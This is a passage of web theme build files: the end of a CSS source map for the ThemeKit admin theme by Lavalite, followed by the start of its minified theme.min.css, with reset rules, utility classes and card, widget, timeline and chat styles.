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",
"sources": ["../../src/scss/theme.scss","../../src/scss/_settings.scss","../../src/scss/_mixins.scss","../../src/scss/_cards.scss","../../src/scss/_widgets.scss","../../src/scss/_tables.scss","../../src/scss/_badges.scss","../../src/scss/_navigation.scss","../../src/scss/_buttons.scss","../../src/scss/_modal.scss","../../src/scss/_forms.scss","../../src/scss/_carousel.scss","../../src/scss/_calendar.scss","../../src/scss/_alert.scss","../../src/scss/_rating.scss","../../src/scss/_range-slider.scss","../../src/scss/_auth.scss","../../src/scss/_main.scss"],
"names": [],
"file": "theme.min.css"
}
css/theme.min.css000064400000472434151676702570007770 0ustar00/*!
 * ThemeKit v1 (https://lavalite.org/)
 * Copyright 2018 The Lavalite Authors
 */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace, monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:0.35em 0.625em 0.75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}*,body{-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale}::-moz-selection{background:#b3d4fc;text-shadow:none}::selection{background:#b3d4fc;text-shadow:none}hr{display:block;height:1px;border:0;border-top:1px solid #ccc;margin:1em 0;padding:0}audio,canvas,iframe,img,svg,video{vertical-align:middle}fieldset{border:0;margin:0;padding:0}textarea{resize:vertical}.browserupgrade{margin:0.2em 0;background:#ccc;color:#000;padding:0.2em 0}*{outline:none !important}a{color:#212121;-moz-transition:color 0.2s;-o-transition:color 0.2s;-webkit-transition:color 0.2s;transition:color 0.2s}a:hover,a:focus,a:active{outline:0;text-decoration:none;color:#212121}.p0{padding:0px !important}.pt-0{padding-top:0px !important}.pb-0{padding-bottom:0px !important}.pl-0{padding-left:0px !important}.pr-0{padding-right:0px !important}.m0{margin:0px !important}.mt-0{margin-top:0px !important}.mb-0{margin-bottom:0px !important}.ml-0{margin-left:0px !important}.mr-0{margin-right:0px !important}.p5{padding:5px !important}.pt-5{padding-top:5px !important}.pb-5{padding-bottom:5px !important}.pl-5{padding-left:5px !important}.pr-5{padding-right:5px !important}.m5{margin:5px !important}.mt-5{margin-top:5px !important}.mb-5{margin-bottom:5px !important}.ml-5{margin-left:5px !important}.mr-5{margin-right:5px !important}.p10{padding:10px !important}.pt-10{padding-top:10px !important}.pb-10{padding-bottom:10px !important}.pl-10{padding-left:10px !important}.pr-10{padding-right:10px !important}.m10{margin:10px !important}.mt-10{margin-top:10px !important}.mb-10{margin-bottom:10px !important}.ml-10{margin-left:10px !important}.mr-10{margin-right:10px !important}.p15{padding:15px !important}.pt-15{padding-top:15px !important}.pb-15{padding-bottom:15px !important}.pl-15{padding-left:15px !important}.pr-15{padding-right:15px !important}.m15{margin:15px !important}.mt-15{margin-top:15px !important}.mb-15{margin-bottom:15px !important}.ml-15{margin-left:15px !important}.mr-15{margin-right:15px !important}.p20{padding:20px !important}.pt-20{padding-top:20px !important}.pb-20{padding-bottom:20px !important}.pl-20{padding-left:20px !important}.pr-20{padding-right:20px !important}.m20{margin:20px !important}.mt-20{margin-top:20px !important}.mb-20{margin-bottom:20px !important}.ml-20{margin-left:20px !important}.mr-20{margin-right:20px !important}.p25{padding:25px !important}.pt-25{padding-top:25px !important}.pb-25{padding-bottom:25px !important}.pl-25{padding-left:25px !important}.pr-25{padding-right:25px !important}.m25{margin:25px !important}.mt-25{margin-top:25px !important}.mb-25{margin-bottom:25px !important}.ml-25{margin-left:25px !important}.mr-25{margin-right:25px !important}.p30{padding:30px !important}.pt-30{padding-top:30px !important}.pb-30{padding-bottom:30px !important}.pl-30{padding-left:30px !important}.pr-30{padding-right:30px !important}.m30{margin:30px !important}.mt-30{margin-top:30px !important}.mb-30{margin-bottom:30px !important}.ml-30{margin-left:30px !important}.mr-30{margin-right:30px !important}.p35{padding:35px !important}.pt-35{padding-top:35px !important}.pb-35{padding-bottom:35px !important}.pl-35{padding-left:35px !important}.pr-35{padding-right:35px !important}.m35{margin:35px !important}.mt-35{margin-top:35px !important}.mb-35{margin-bottom:35px !important}.ml-35{margin-left:35px !important}.mr-35{margin-right:35px !important}.p40{padding:40px !important}.pt-40{padding-top:40px !important}.pb-40{padding-bottom:40px !important}.pl-40{padding-left:40px !important}.pr-40{padding-right:40px !important}.m40{margin:40px !important}.mt-40{margin-top:40px !important}.mb-40{margin-bottom:40px !important}.ml-40{margin-left:40px !important}.mr-40{margin-right:40px !important}.p45{padding:45px !important}.pt-45{padding-top:45px !important}.pb-45{padding-bottom:45px !important}.pl-45{padding-left:45px !important}.pr-45{padding-right:45px !important}.m45{margin:45px !important}.mt-45{margin-top:45px !important}.mb-45{margin-bottom:45px !important}.ml-45{margin-left:45px !important}.mr-45{margin-right:45px !important}.p50{padding:50px !important}.pt-50{padding-top:50px !important}.pb-50{padding-bottom:50px !important}.pl-50{padding-left:50px !important}.pr-50{padding-right:50px !important}.m50{margin:50px !important}.mt-50{margin-top:50px !important}.mb-50{margin-bottom:50px !important}.ml-50{margin-left:50px !important}.mr-50{margin-right:50px !important}.f-10{font-size:10px}.f-12{font-size:12px}.f-14{font-size:14px}.f-16{font-size:16px}.f-18{font-size:18px}.f-20{font-size:20px}.f-22{font-size:22px}.f-24{font-size:24px}.f-26{font-size:26px}.f-28{font-size:28px}.f-30{font-size:30px}.f-32{font-size:32px}.f-34{font-size:34px}.f-36{font-size:36px}.f-38{font-size:38px}.f-40{font-size:40px}.f-42{font-size:42px}.f-44{font-size:44px}.f-46{font-size:46px}.f-48{font-size:48px}.f-50{font-size:50px}.f-52{font-size:52px}.f-54{font-size:54px}.f-56{font-size:56px}.f-58{font-size:58px}.f-60{font-size:60px}.f-62{font-size:62px}.f-64{font-size:64px}.f-66{font-size:66px}.f-68{font-size:68px}.f-70{font-size:70px}.f-72{font-size:72px}.f-74{font-size:74px}.f-76{font-size:76px}.f-78{font-size:78px}.f-80{font-size:80px}.fw-100{font-weight:100}.fw-200{font-weight:200}.fw-300{font-weight:300}.fw-400{font-weight:400}.fw-500{font-weight:500}.fw-600{font-weight:600}.fw-700{font-weight:700}.fw-800{font-weight:800}.fw-900{font-weight:900}.img-20{width:20px}.img-30{width:30px}.img-40{width:40px}.img-50{width:50px}.img-60{width:60px}.img-70{width:70px}.img-80{width:80px}.img-90{width:90px}.img-100{width:100px}.b-t-primary{border-top:1px solid #007bff}.b-b-primary{border-bottom:1px solid #007bff}.b-l-primary{border-left:1px solid #007bff}.b-r-primary{border-right:1px solid #007bff}.b-primary{border:1px solid #007bff}.b-t-warning{border-top:1px solid #fb6340}.b-b-warning{border-bottom:1px solid #fb6340}.b-l-warning{border-left:1px solid #fb6340}.b-r-warning{border-right:1px solid #fb6340}.b-warning{border:1px solid #fb6340}.b-t-danger{border-top:1px solid #f5365c}.b-b-danger{border-bottom:1px solid #f5365c}.b-l-danger{border-left:1px solid #f5365c}.b-r-danger{border-right:1px solid #f5365c}.b-danger{border:1px solid #f5365c}.b-t-success{border-top:1px solid #2dce89}.b-b-success{border-bottom:1px solid #2dce89}.b-l-success{border-left:1px solid #2dce89}.b-r-success{border-right:1px solid #2dce89}.b-success{border:1px solid #2dce89}.b-t-inverse{border-top:1px solid #4c5667}.b-b-inverse{border-bottom:1px solid #4c5667}.b-l-inverse{border-left:1px solid #4c5667}.b-r-inverse{border-right:1px solid #4c5667}.b-inverse{border:1px solid #4c5667}.b-t-info{border-top:1px solid #11cdef}.b-b-info{border-bottom:1px solid #11cdef}.b-l-info{border-left:1px solid #11cdef}.b-r-info{border-right:1px solid #11cdef}.b-info{border:1px solid #11cdef}.bg-default{background-color:#d6d6d6 !important}.bg-theme{background-color:#ef4153 !important}.bg-aqua{background-color:#3ec5d6 !important}.bg-blue{background-color:#19B5FE !important}.bg-light-blue{background-color:#89CFF0 !important}.bg-teal{background-color:#008081 !important}.bg-yellow{background-color:#F7CA18 !important}.bg-orange{background-color:#FF8000 !important}.bg-green{background-color:#26C281 !important}.bg-lime{background-color:#cad900 !important}.bg-red{background-color:#F22613 !important}.bg-fuchsia{background-color:#df2de3 !important}.bg-navy{background-color:navy !important}.bg-empty{background:transparent !important}.bg-primary{background-color:#007bff !important}.bg-success{background-color:#2dce89 !important}.bg-info{background-color:#11cdef !important}.bg-warning{background-color:#fb6340 !important}.bg-danger{background-color:#f5365c !important}.bg-muted{background-color:#6c757d !important}.bg-inverse{background-color:#4c5667 !important}.bg-purple{background-color:#BF55EC !important}.bg-pink{background-color:#f76397 !important}.bg-white{background-color:#fff !important}.bg-facebook{background-color:#3b579d !important}.bg-twitter{background-color:#1da1f2 !important}.bg-google{background-color:#dc4a38 !important}.bg-linkedin{background-color:#0177b4 !important}.text-default{color:#d6d6d6 !important}.text-blue{color:#19B5FE !important}.text-light-blue{color:#89CFF0 !important}.text-teal{color:#008081 !important}.text-navy{color:navy !important}.text-lime{color:#cad900 !important}.text-orange{color:#FF8000 !important}.text-yellow{color:#F7CA18 !important}.text-aqua{color:#3ec5d6 !important}.text-white{color:#fff !important}.text-danger{color:#f5365c !important}.text-green{color:#26C281 !important}.text-primary{color:#007bff !important}.text-warning{color:#fb6340 !important}.text-success{color:#2dce89 !important}.text-info{color:#11cdef !important}.text-inverse{color:#4c5667 !important}.text-pink{color:#f76397 !important}.text-purple{color:#BF55EC !important}.text-dark{color:#212121 !important}.text-fuchsia{color:#df2de3 !important}.text-red{color:#F22613 !important}.text-facebook{color:#3b579d !important}.text-twitter{color:#1da1f2 !important}.text-instagram{color:#fb3958 !important}.text-google{color:#dc4a38 !important}.text-linkedin{color:#0177b4 !important}.text-behance{color:#053eff !important}.text-dribbble{color:#ea4c89 !important}.text-red{color:#F22613 !important}.min-width-zero{min-width:0}.w-10{width:10% !important}.w-90{width:90% !important}.w-12{width:12% !important}.w-88{width:88% !important}.w-15{width:15% !important}.w-85{width:85% !important}.w-20{width:20% !important}.w-80{width:80% !important}.w-30{width:30% !important}.w-70{width:70% !important}.w-40{width:40% !important}.w-60{width:60% !important}.hidden{display:none !important}.d-inline-block{display:inline-block !important}.d-block{display:block !important}.visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.visuallyhidden.focusable:active,.visuallyhidden.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.invisible{visibility:hidden}.clearfix:before,.clearfix:after{content:" ";display:table}.clearfix:after{clear:both}@media only screen and (max-width: 1023px){.w-sm-100{width:100% !important}}@media only screen and (max-width: 767px){.w-xs-100{width:100% !important}}.card{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-header{padding:20px 20px;border:0;background:none;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card .card-header h3{margin:0;font-size:18px;font-weight:normal;color:#212121}.card .card-header .card-options a:not(.dropdown-item){width:30px;height:30px;padding:0;border-radius:50%;text-align:center;line-height:33px;color:#212121;display:inline-block;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out}.card .card-header .card-options span{color:#444;font-size:12px}.card .card-header .card-search{position:relative}.card .card-header .card-search .form-control{padding-right:60px;font-size:14px;max-height:30px;min-height:30px}.card .card-header .card-search .form-control ~ .btn{position:absolute;right:0;top:0;padding:0;width:30px;height:30px;line-height:30px;border-radius:4px;background-color:#eceff1;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-btn{background-color:transparent;border:0;position:absolute;right:30px;top:0;width:30px;height:30px;line-height:30px;padding:0;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.card .card-header .card-search.with-adv-search .adv-search-wrap{padding:20px;display:none;position:absolute;left:30px !important;width:100%;top:30px;background-color:#fff;z-index:4;-webkit-box-shadow:0 2px 30px rgba(0,0,0,0.08);-moz-box-shadow:0 2px 30px rgba(0,0,0,0.08);box-shadow:0 2px 30px rgba(0,0,0,0.08);border-radius:6px;-webkit-border-radius:6px;-moz-border-radius:6px}.card .card-header .card-search.with-adv-search .adv-search-wrap .form-control{padding-right:15px}.card .card-header .card-search.with-adv-search .adv-search-wrap .btn{padding:0 15px;font-size:14px;height:30px;border-radius:30px;-webkit-border-radius:30px;-moz-border-radius:30px}.card .card-header .card-search.with-adv-search .adv-search-wrap.show{display:block}.card .card-header.note-toolbar{padding:0 0 5px 5px}.card .card-header .dropdown .checkbox-dropdown{padding:0px;width:16px;height:16px;background-color:#dee2e6;border-radius:.25rem;margin-right:15px}.card .card-body{padding:20px 20px;flex:1 1 auto;position:relative}.card .card-img{height:100%;object-fit:cover;max-height:200px;width:unset;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.card .card-img-overlay{background:rgba(0,0,0,0.5);padding:1.75rem;border-radius:4px}.card.icon-card .card-body i{font-size:46px;line-height:66px;color:#212121}.card.icon-card .card-body .card-text{color:#8f8f8f;height:30px;line-height:26px}.card.icon-card .card-body .lead{color:#212121;margin-bottom:0}.card .nav-pills.custom-pills{border-bottom:1px solid #f1f1f1}.card .nav-pills.custom-pills .nav-link{border-radius:0;opacity:.7;font-size:14px;padding:12px 15px}.card .nav-pills.custom-pills .nav-link.active{color:#ef4153;opacity:1;background-color:transparent;border-bottom:2px solid #ef4153}.widget{border-color:#ffff;position:relative;width:100%;border:none;margin-bottom:30px;background-color:#fff;overflow:hidden;-webkit-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);box-shadow:0 6px 0 0 rgba(0,0,0,0.01),0 15px 32px 0 rgba(0,0,0,0.06);-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-webkit-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;border-radius:4px;-webkit-border-radius:4px;-moz-border-radius:4px}.widget .widget-header{padding:10px 20px;border-bottom:1px solid #f5f7f9;position:relative}.widget .widget-header .widget-title{font-size:18px;margin:0}.widget .widget-header .widget-tools{position:absolute;right:10px;top:5px}.widget .widget-header .widget-tools .btn-widget-tool{padding:5px;font-size:16px;background:transparent;color:#97a0b3}.widget .widget-header .widget-tools .btn-widget-tool i{margin:0}.widget .widget-header .widget-tools .btn-widget-tool:focus{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.widget .widget-body{padding:20px 20px}.widget .widget-body h6{margin-bottom:0;font-weight:400}.widget .widget-body h2{margin-bottom:0px;font-weight:600}.widget .widget-body .icon{font-size:37px;color:#9aa0ac}.widget .widget-body .overlay{position:absolute;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.22);text-align:center;z-index:3;display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-justify-content:center;-moz-justify-content:center;-ms-justify-content:center;justify-content:center;-ms-flex-pack:center;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center;-webkit-flex-direction:column;-moz-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.widget .widget-body .overlay i{font-size:32px;color:#ef4153;margin-bottom:5px}.widget .progress{border-radius:0}.widget[class*=bg-] .widget-header{background-color:rgba(255,255,255,0.2);border-bottom-color:transparent}.widget[class*=bg-] .widget-header .widget-title{color:#fff}.widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool{color:rgba(255,255,255,0.6)}.widget[class*=bg-] .widget-body{color:#fff}.widget[class*=bg-] .widget-body .icon{color:#fff}.widget.social-widget .widget-body{text-align:center}.loading{-webkit-animation-name:loading;animation-name:loading;-webkit-animation-duration:.75s;animation-duration:.75s;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes loading{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.card-group .card:not(:last-child){border-right:1px solid #f1f1f1}.card .card-header{border-bottom:1px solid #f1f1f1}.card .card-header .card-header-right{right:10px;top:16px;display:inline-block;float:right;position:absolute}.card .card-header .card-header-right .card-option{width:35px;height:25px;overflow:hidden;margin:0;-moz-transition:0.3s ease-in-out;-o-transition:0.3s ease-in-out;-webkit-transition:0.3s ease-in-out;transition:0.3s ease-in-out}.card .card-header .card-header-right .card-option li{display:inline-block}.card .card-header .card-header-right .card-option li i{margin:0 5px;cursor:pointer;font-size:15px;color:#8c8c8c;line-height:2;font-weight:300}.card .card-block{padding:1.25rem}.card .card-body .icon{font-size:37px;color:#9aa0ac}.card .feeds-widget{padding:0}.card .feeds-widget .feed-item{display:block;padding:12px 15px;border:1px solid #efefef;border-left:0;border-right:0}.card .feeds-widget .feed-item a{display:-webkit-box;display:-moz-box;display:-ms-flexbox;display:-webkit-flex;display:flex;-webkit-align-items:center;-moz-align-items:center;-ms-align-items:center;align-items:center}.card .feeds-widget .feed-item a .feeds-left{width:50px;font-size:30px}.card .feeds-widget .feed-item a .feeds-body{width:100%}.card .feeds-widget .feed-item a .feeds-body h4{font-size:16px;margin:0;font-weight:700;margin-bottom:5px}.card .feeds-widget .feed-item a .feeds-body h4 ~ small{text-overflow:ellipsis;white-space:nowrap;overflow:hidden;width:calc(100% - 60px);font-size:13px;color:#777}.card .feeds-widget .feed-item.feed-item{margin-top:-1px}.card .timeline .header{background-size:cover;color:#fff;position:relative}.card .timeline .header .color-overlay{padding:2em;box-sizing:border-box;background:rgba(123,94,155,0.5);line-height:normal}.card .timeline .header .color-overlay .day-number{font-size:6em;margin-right:15px;display:inline-block;font-weight:700;line-height:1}.card .timeline .header .color-overlay .date-right{display:inline-block}.card .timeline .header .color-overlay .date-right .day-name{font-size:22px}.card .timeline .header .color-overlay .date-right .month{text-transform:uppercase;margin-top:2px}.card .timeline ul{list-style:none;position:relative;padding-left:30px;padding-top:10px;margin:0}.card .timeline ul:before,.card .timeline ul::before{content:' ';height:100%;width:1px;background-color:#f0f0f0;position:absolute;top:0;left:35px;z-index:1}.card .timeline ul li{padding-bottom:15px}.card .timeline ul li .bullet{width:10px;height:10px;display:inline-block;z-index:2;position:relative;vertical-align:top;margin:7px 0;margin-right:5px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .timeline ul li .time{width:20%;font-size:10px;margin:6px 0;vertical-align:top;display:inline-block}.card .timeline ul li .desc{width:65%;display:inline-block}.card .timeline ul li .desc h3{margin:0;font-size:14px;font-weight:700}.card .timeline ul li .desc h4{margin-top:5px;font-size:12px;color:#999}.card .task-list{margin:0;padding:0}.card .task-list li{display:block;padding:15px 0 15px 0;margin:0;cursor:pointer}.card .task-list li:first-child{padding-top:0}.card .task-list li.list span{float:left;margin-top:20px;color:#FF7E39}.card .task-list li.list span:before,.card .task-list li.list span::before{font-size:1.5rem;content:"\e83f";font-family:'iconkit';vertical-align:middle;border:3px solid #FF7E39;padding:4px;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%}.card .task-list li.list .task-details{margin-left:60px}.card .task-list li.list .task-details p{margin:0;padding:10px 0 6px 0;line-height:140%}.card .task-list li.list .task-details p.date{padding:0;margin:0;font-size:.75rem}.card .task-list li.completed{text-decoration:line-through;color:#8796af;-moz-transition:all 0.3s ease-out;-o-transition:all 0.3s ease-out;-webkit-transition:all 0.3s ease-out;transition:all 0.3s ease-out}.card .task-list li.completed span:before,.card .task-list li.completed span::before{color:#50b924;border:3px solid #50b924}.card .chat-box .chat-list{margin:0;padding:0;list-style:none}.card .chat-box .chat-list .chat-item{list-style:none;margin-top:30px}.card .chat-box .chat-list .chat-item .chat-img{display:inline-block;width:45px;vertical-align:top}.card .chat-box .chat-list .chat-item .chat-img img{width:45px;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%}.card .chat-box .chat-list .chat-item .chat-content{width:calc(100% - 50px);display:inline-block;padding-left:15px}.card .chat-box .chat-list 